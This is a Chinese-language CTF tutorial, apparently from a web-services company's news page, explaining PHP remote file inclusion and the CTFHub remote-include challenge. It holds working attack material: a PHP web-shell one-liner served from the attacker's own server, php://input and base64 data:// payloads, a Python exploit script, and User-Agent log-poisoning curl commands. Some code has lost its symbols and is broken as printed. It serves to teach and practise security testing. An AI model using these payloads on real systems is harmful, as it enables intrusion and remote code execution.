资讯详情

远程文件包含漏洞实战:从RFI原理到CTFHub解题思路

📅 2026/10/17 4:47:59 | 华诺云谱 👁 阅读
远程文件包含漏洞实战:从RFI原理到CTFHub解题思路
CTFHub的RCE专题里“远程包含”这道题我刷了好几遍每次都有新体会。很多刚接触文件包含漏洞的师傅一上来就卡在“远程”两个字上下意识地去VPS上放一句话结果发现要么连不上要么就是环境里压根没开远程包含开关。这也是我想写这篇东西的原因把远程文件包含RFI从原理到实操再到CTFHub这道题本身的出题思路掰开揉碎讲一遍。这篇文章对准备CTF比赛、想搞懂文件包含漏洞的选手会比较友好已经理解LFI的师傅可以直接看第二、三章那里有更进阶的绕过场景。1. 远程文件包含的漏洞本质与触发条件1.1 远程包含和本地包含到底差在哪文件包含漏洞的根源是开发人员把用户输入直接拼到了include、require这类函数的路径参数里。比如一段经典的代码?php $file $_GET[file]; include($file); ?当$file的值是/etc/passwd时你读到的是服务器本地文件这就是LFI本地文件包含。当$file的值是http://example.com/evil.txt时PHP会去请求远程服务器并把返回内容当作PHP代码执行这就是RFI远程文件包含。两者的危险程度完全不同LFI利用起来常常需要配合日志注入、伪协议做中转RFI则可以直接从外部引入可控代码属于几乎无门槛的RCE。但这里有一个很关键的认知误区不是代码里写了include($_GET[file])就一定能RFI。PHP在远程包含上的管控比本地包含严格得多它受两个配置项影响一个是allow_url_include一个是allow_url_fopen。1.2 触发远程包含的前提条件allow_url_fopen默认就是On的控制的是file_get_contents、fopen这类函数能不能打开远程URL。但include是否允许远程加载看的是allow_url_include这个值在PHP 5.2之后默认就是Off很多高版本PHP甚至直接在编译时把它禁用只能在php.ini里显式打开。CTFHub的远程包含题既然叫“远程包含”说明题目环境已经把这个开关打开了。我见过不少新手在本地搭建环境复现时明明代码写对了、URL也传对了但就是包含不成功最后发现是php.ini里没开allow_url_include。这个检查顺序一定要记住先确认php.ini中allow_url_include On再确认目标代码里include的参数直接来自用户输入确认传入的远程URL没有被过滤或拼接路径前缀1.3 危险函数不只有include严格来说PHP里能触发文件包含的函数有四组include、include_once、require、require_once。它们之间的差别在于报错级别和重复加载机制但对攻击者来说利用方式完全一样。CTF题目里最常见的还是include因为它不会像require那样在文件不存在时直接抛致命错误有时候反而给了攻击者更大的试错空间。除了这四个file_get_contents配上eval的组合也经常被误认为文件包含实际上这是“读取文件再执行”两步比真正的一次性包含多了一些过滤和编码的空间。理解这一点对后面分析CTFHub的题目很有帮助——出题人给的是include还是readfile eval会直接决定你能不能用伪协议。2. CTFHub远程包含题目的经典解题路径2.1 直接远程包含在可控服务器上放代码最直观的思路就是在自己的服务器上放一个包含恶意PHP代码的文件然后让目标的include去加载它。但这里有个实战中几乎所有人都会踩的坑如果你放的是一句话木马文件文件名是shell.php目标服务器包含它时根本不会执行到你的PHP代码。原因很简单远程请求到的文件如果以.php结尾PHP会先把文件内容当作PHP脚本解析并执行。此时你的恶意代码已经在远程服务器上执行过了返回给目标服务器的内容是执行后的输出通常是一片空白或者是报错信息。正确的做法是把恶意代码放在一个不会在远程服务器上被PHP解析的文件里比如.txt后缀再用一个URL参数去调用。我在自己的VPS上一般这么操作echo ?php system($_GET[cmd]); ? shell.txt然后启动一个简单的HTTP服务python3 -m http.server 8080构造请求http://目标地址/?filehttp://your-server:8080/shell.txtcmdwhoami远程服务器直接返回了命令执行结果。这种方法的本质是目标服务器通过HTTP协议请求了远端文件拿到文件内容后调用include时当成本地PHP代码执行。虽然文件是.txt但在include语境下内容被直接当作PHP代码处理。2.2 php://input伪协议POST体直接当代码吃如果题目环境不允许出网没法在自己的服务器上挂文件或者你嫌搭环境太麻烦php://input是更好的选择。这个伪协议会把请求体POST body的原始内容返回给include如果allow_url_include是On的POST体里的内容会直接被当作PHP代码执行。构造方法很简单GET /index.php?filephp://input HTTP/1.1 Host: 目标 Content-Type: text/plain ?php system(whoami); ?注意必须使用POST方法把PHP代码放在请求体里。有一点容易被忽略如果请求设置了Content-Type: application/x-www-form-urlencoded某些环境里POST体会被解析成表单变量而不是以原始字节流的形式交给php://input。所以稳妥的做法是明确指定Content-Type: text/plain。CTFHub的环境里这个利用方式的成功率很高因为出题人特意开启了allow_url_include。如果你在别的场景下遇到php://input没生效先检查的应该是这个开关而不是去看代码里是否有过滤。2.3 data://伪协议把代码编码成URL一部分data://协议让我第一次接触时觉得有点黑科技的感觉——它允许你把任意内容直接编码在URL里然后让include去读取。语法是data://text/plain,?php phpinfo(); ?但直接这样写经常会出问题问题出在特殊字符被URL解析时改写了。所以实战中一般会先Base64编码data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8这样即便过滤了?php、空格、单双引号之类的关键字只要Base64字符串没被封禁就能绕过。data://在CTF里最大的优势就是不需要额外的服务器也不需要POST请求一条GET就能打完对自动化脚本极其友好。用一个Python脚本打CTFHub的题就直接了当import requests import base64 payload ?php system($_GET[cmd]); ? encoded base64.b64encode(payload.encode()).decode() url http://目标/index.php?filedata://text/plain;base64, encoded r requests.get(url, params{cmd: cat flag.txt}) print(r.text)2.4 为什么实际做题时要考虑GLOBALS和双重编码CTFHub这道题里还有一种常见的变体就是代码里对$file做了一些处理比如强制加了.php后缀或者把../、http://等关键字替换掉。如果直接拼远程URL就变成include(http://xxx.txt.php?cmdxxx)了整个PHP代码都不会被执行。这类变体通常需要借助伪协议绕过。有后缀拼接时可以考虑用php://input配合POST请求来规避后缀影响有关键字过滤时可以对$file参数做一次URL编码让第一次解析拿到的是解码后的值而第二次include的时候又解码一次。不过要提醒一点双重编码在实际中很容易把自己绕晕。我建议在做题时先本地搭一个简单的环境去测过滤规则不要盲目尝试各种编码组合浪费时间不说还可能让服务端日志里出现大量异常请求。更高级的场景是配合全局变量注册表。比如有代码会把GET参数注册成全局变量然后后面的include($file)会间接引用这些全局变量做拼接这时候可以利用GLOBALS数组覆盖掉原本的过滤值。这个思路在CTFHub的某些进阶RCE题里出现过如果远程包含这道题的前置代码里能看到extract($_GET)之类的操作就要想到这一层。3. 远程包含受限时的跨界思路3.1 日志注入包含不依赖allow_url_include的RCE很多师傅刷完CTFHub的远程包含后会有一个错觉觉得远程包含必须依赖allow_url_include伪协议也只是在它开启时才有效。这是错的LFI场景下还有一类经典绕过方式——日志注入包含它根本不需要远程包含开关。原理是Web服务器比如Nginx、Apache会把请求记录到日志文件里日志里包含User-Agent、请求路径等可控内容。如果目标代码存在LFI你可以先发一个恶意User-Agent请求把PHP代码写进日志文件然后再通过LFI去包含这个日志文件从而触发代码执行。# 第一步注入恶意代码到User-Agent curl -s -A ?php system(ls /tmp); ? http://目标/index.php?fileindex.php # 第二步包含日志文件 curl -s http://目标/index.php?file/var/log/nginx/access.log这个思路在CTFHub远程包含这题里未必用得上因为题目明确要求用远程包含但你在实战环境或者其它CTF题里处理LFI时它就是一条完整的RCE链路。我之所以在这篇讲远程包含的文章里提它是因为很多人在做文件包含漏洞时把“远程”和“本地”割裂看待实际上出题人常常会在一个环境里设置多个考点组合。3.2 Session文件包含另一种无伪协议利用PHP默认会把Session数据以文件形式存储在/tmp/sess_session_id文件内容是你设置的Session变量序列化后的结果。如果可以控制某个Session变量的内容比如通过session_start()后的$_SESSION[username]往里面写入一段PHP代码之后再利用LFI包含对应的Session文件就能实现RCE。这个技巧的关键有两点一是要知道Session文件的准确存放位置和命名规则二是要在包含之前先让目标代码把恶意内容写进Session。一般找题目代码里是否有$_SESSION赋值操作如果有把payload塞进去再用LFI包含即可。Session包含和日志包含的共同点是都不需要远程加载只需要控制目标服务器上的某个“临时文件”。这在allow_url_include关闭时是最实用的两条路我每次做LFI题时都会先把这两个方向测一遍。3.3 环境变量与临时文件包含冷门但有效的补充还有一条隐蔽路径是/proc/self/environ。这个伪文件记录了当前进程的环境变量如果User-Agent被写入环境变量是做不到的——它不是标准做法但某些CGI配置下请求头信息会反映到环境变量里进而反映到这个文件中。另外PHP上传文件时的临时文件也是个绝佳的包含目标。上传的文件在PHP的处理流程中会被先存到临时目录比如/tmp/phpXXXXXX用完再删除。虽然文件名随机但如果能上传大文件导致临时文件残留时间变长再配合LFI去爆破文件名就有一定概率命中。自动化脚本中常用glob://或者目录爆破来增加成功率。这些技巧放在远程包含专题里讲似乎有点“跑题”但我的观点是CTF题目命名只是给了一个考点提示真正解题时不能被题目名字困住。CTFHub远程包含这道题如果配置了LFI环境日志包含反而可能是最稳的解法。3.4 为什么出题人要把场景叫“远程包含”CTFHub的RCE专题把这道题定位为“远程包含”从名字能大致猜到出题意图给一个file参数开allow_url_include让做题者体验RFI的第一种玩法。但很多有经验的选手会在里面尝试超出题目预期的路径比如伪协议嵌套、日志包含、Session包含。我认为这类题目最大的价值不是让你背一个payload而是逼你去理解PHP文件包含机制里的“文件来源”和“执行上下文”这两个概念。远程也好、本地也好最终代码能执行靠的都是include把外部输入“变成”PHP代码的能力。理解这个本质换什么场景都不慌。4. 容易被忽略的细节与绕过技巧4.1 PHP版本和配置差异决定payload生死同一个伪协议在不同PHP版本上的行为差异极大。以data://为例PHP 5.2以下的版本不支持Base64关键字你必须写成data://text/plain;base64,xxx而不是data://text/plain;base64xxx差一个字符就是天壤之别。PHP 7.x系列对伪协议的支持比较稳定但PHP 8.x开始部分过滤函数和危险函数的默认参数发生了变化assert这类函数甚至直接被移除了。我做CTFHub题时习惯先探一下PHP版本通过php://filter读取index.php源码里可能泄露的版本信息或者直接看响应头里的X-Powered-By。如果题目没有专门隐藏版本信息这一招往往能直接决定你的payload方向。4.2 php://filter过滤器链的妙用远程包含题目的另一个常见考点是配合php://filter读取目标源码。虽然这个操作不直接产生RCE但在比赛中很重要——看清题目代码里有没有隐藏的过滤逻辑。核心写法是php://filter/convert.base64-encode/resourceindex.php这样include不会执行PHP代码而是把index.php的源码以Base64形式返回。得到Base64字符串后解码就能看到源码进而判断过滤规则和可用的输入点。有一类更进阶的过滤器链玩法是用多个过滤器叠加实现某种内容转换比如利用string.strip_tags加convert.base64-decode来嵌套解码在部分特殊题目里能绕过严格过滤。不过CTFHub远程包含这类基础题一般用不到我更愿意把它当成一个备用的知识储备。4.3 特殊字符和截断技巧PHP的include路径参数在拼接后缀名时的经典绕过方式是空字节截断。在PHP 5.3.4以下版本URL中的%00可以截断字符串比如include(shell.txt%00.php)实际包含的是shell.txt。高版本PHP彻底修复了这个问题但低版本靶场里仍然能用。这个方法现在已经不太容易遇到但万一碰到老环境能救命。另一个技巧是利用URL编码绕过过滤。如果题目过滤了http://可以用h%74tp://如果过滤了?php可以用%3C?php。不过要注意的是服务端做了两层解码时单次编码可能不够需要用双重编码但双重编码过度会让整个URL畸形建议逐个尝试。4.4 长度限制的处理有些CTF题会对file参数设置长度限制比如最多只能输入100个字符。这种情况下php://input配合POST体是最优解因为URL部分只需要很短的一个php://input真正的载荷放在POST体里不受URL长度限制。如果题目限制的是POST体长度那就只能回到日志包含或data://短payload的路线上来用尽量短的PHP代码实现读取文件比如用cat /flag反引号执行而不是system(cat /flag)能省好几个字符。5. 常见问题与排查思路速查5.1 包含远程文件一直失败回显空白怎么办这个问题九成出在allow_url_include没开启。判断方法很简单请求php://input看是否回显POST体内容如果连这个都不回显那说明远程包含环境本身不成立得换LFI思路。还有一个排查点是目标服务器是否能出网访问你的VPS很多CTF平台为了安全会屏蔽选手的服务器这种情况也会导致远程包含“连不上”。举一个我实际踩过的例子在某次CTF的训练题里我在本地搭的复现环境一切正常一旦打远程靶机就超时。最后发现靶机环境的网络策略禁止了目标服务器主动发起外部HTTP请求。这种情况下data://和php://input是绕开出网限制的最佳选择。5.2 伪协议在include里生效但在file_get_contents里失效这是两种函数对伪协议的支持差异导致的。file_get_contents同样支持大部分流封装器但在部分修复版本中会禁用php://input具体要看目标PHP版本和配置。做题时如果发现伪协议“时而有效时而无反应”可以尝试把函数从include换成file_get_contents看回显也可能需要配合data://来降低兼容性风险。5.3 日志包含时路径找不到日志包含最麻烦的是日志路径不确定。不同发行版、不同Web容器的日志路径差异很大Nginx和Apache的路径就不止一种。我的做法是先通过伪协议读一下/etc/nginx/nginx.conf或者httpd.conf从配置里直接拿日志路径而不是靠猜。再不行就用常见路径列表逐个尝试。有些环境还会限制LFI只能包含特定目录下的文件遇到这种情况就需要再结合目录穿越来调整路径。5.4 题目环境是Windows还是LinuxCTFHub的远程包含题一般是Linux环境但万一遇到Windows环境路径和伪文件都要变。Windows上没有/proc/self/environ日志文件路径通常在C:\Windows\System32\LogFiles\下Session文件的存放路径也完全不同。刷题时先通过报错信息或者伪协议读取一些系统文件来确认操作系统类型再决定后面的路怎么走能省下大量试错时间。** 我个人实际做题的顺序是这样先看代码有没有过滤再测allow_url_include是否开启然后按php://input、data://、远程包含、日志包含的顺序逐一尝试。CTFHub远程包含这道题通常到php://input这一步就已经出结果了但真正值得练习的是把每个思路的适用条件都搞清楚。毕竟比赛里不会永远遇到这么干净的题目多掌握一条路遇到环境变化时才能多一分从容。**
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑